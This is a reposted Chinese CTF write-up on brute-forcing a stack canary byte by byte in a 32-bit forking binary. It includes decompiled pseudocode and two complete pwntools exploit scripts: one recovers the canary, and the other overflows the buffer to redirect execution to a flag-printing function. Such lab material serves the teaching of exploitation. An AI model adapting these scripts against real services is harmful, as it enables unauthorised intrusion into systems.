[CTF pwn] Canary one by one 暴破
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF pwn] Canary one by one 暴破相关的知识,希望对你有一定的参考价值。
本文主要参考文章Canary学习(爆破Canary),并进行了部分补充和复现。
1、Canary暴破的原理
Canary暴破是除Canary泄露外的另一种针对Canary保护的利用方法。
对Canary而言,虽然每次进程重启后的Canary不同,但是同一个进程中的不同线程的Canary是相同的,并且通过fork函数创建的子进程的Canary也是相同的。
我们可以利用这个特点,逐个字节将Canary爆破出来。
不管是32位,还是64位的Canary,最低的一个字节均为0x00,从这个字节开始,依次破解每个字节:每次填入的值与Canary不匹配,则程序崩溃;每次填入的值与Canary匹配,则继续破解下一个字节。填入最高字节时,Canary匹配,就成功破解出了Canary。
2、题目下载
链接:https://pan.baidu.com/s/1o9kaR7iFpD0ZjAkX0uy8YQ
提取码:r7zj
3、checksec
checksec查看保护机制:
该程序为32位,开启了Canary和NX保护。
4、IDA分析
使用IDA查看伪代码:
main函数的伪代码为:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__pid_t v3; // [esp+Ch] [ebp-Ch]
init();
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0);
}
else
{
puts("welcome");
fun();
puts("recv sucess");
}
}
puts("fork error");
exit(0);
}
main函数中存在fork函数,可以进行Canary爆破。
- fork返回值为-1时,表示fork进程失败,通常是内存不足或者是用户的。
- 如果成功创建了进程,在子进程中fork返回0;在父进程中,返回子进程的pid。
fun函数的伪代码为:
unsigned int fun()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v2; // [esp+6Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
read(0, buf, 0x78u);
return __readgsdword(0x14u) ^ v2;
}
从read的第三个参数以及buf在栈上的偏移,可知read函数存在溢出点。
getflag的伪代码为:
unsigned int getflag()
{
FILE *stream; // [esp+4h] [ebp-74h]
char s[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
stream = fopen("./flag", "r");
if ( !stream )
{
puts("get flag error");
exit(0);
}
fgets(s, 100, stream);
puts(s);
return __readgsdword(0x14u) ^ v3;
}
可知该函数可打印出flag。
5、暴破Canary的exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')
if local:
p = process('./bin1')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\\n')
canary = '\\x00'
for k in range(3):
for i in range(256):
print "the " + str(k) + ": " + chr(i)
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\\n")
print a
if "sucess" in a:
canary += chr(i)
print "canary: " + canary
break
运行后可以看到爆破的过程,如果要运行快一些,可以把DEBUG关掉,直接输出结果。
图中,爆破的Canary的值为0x74353100。
6、拿flag的exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')
if local:
p = process('./bin1')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\\n')
canary = '\\x00'
for k in range(3):
for i in range(256):
print "the " + str(k) + ": " + chr(i)
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\\n")
print a
if "sucess" in a:
canary += chr(i)
print "canary: " + canary
break
addr = 0x0804863B
payload = 'A' * 100 + canary + 'A' * 12 + p32(addr)
p.send(payload)
p.interactive()
以上是关于[CTF pwn] Canary one by one 暴破的主要内容,如果未能解决你的问题,请参考以下文章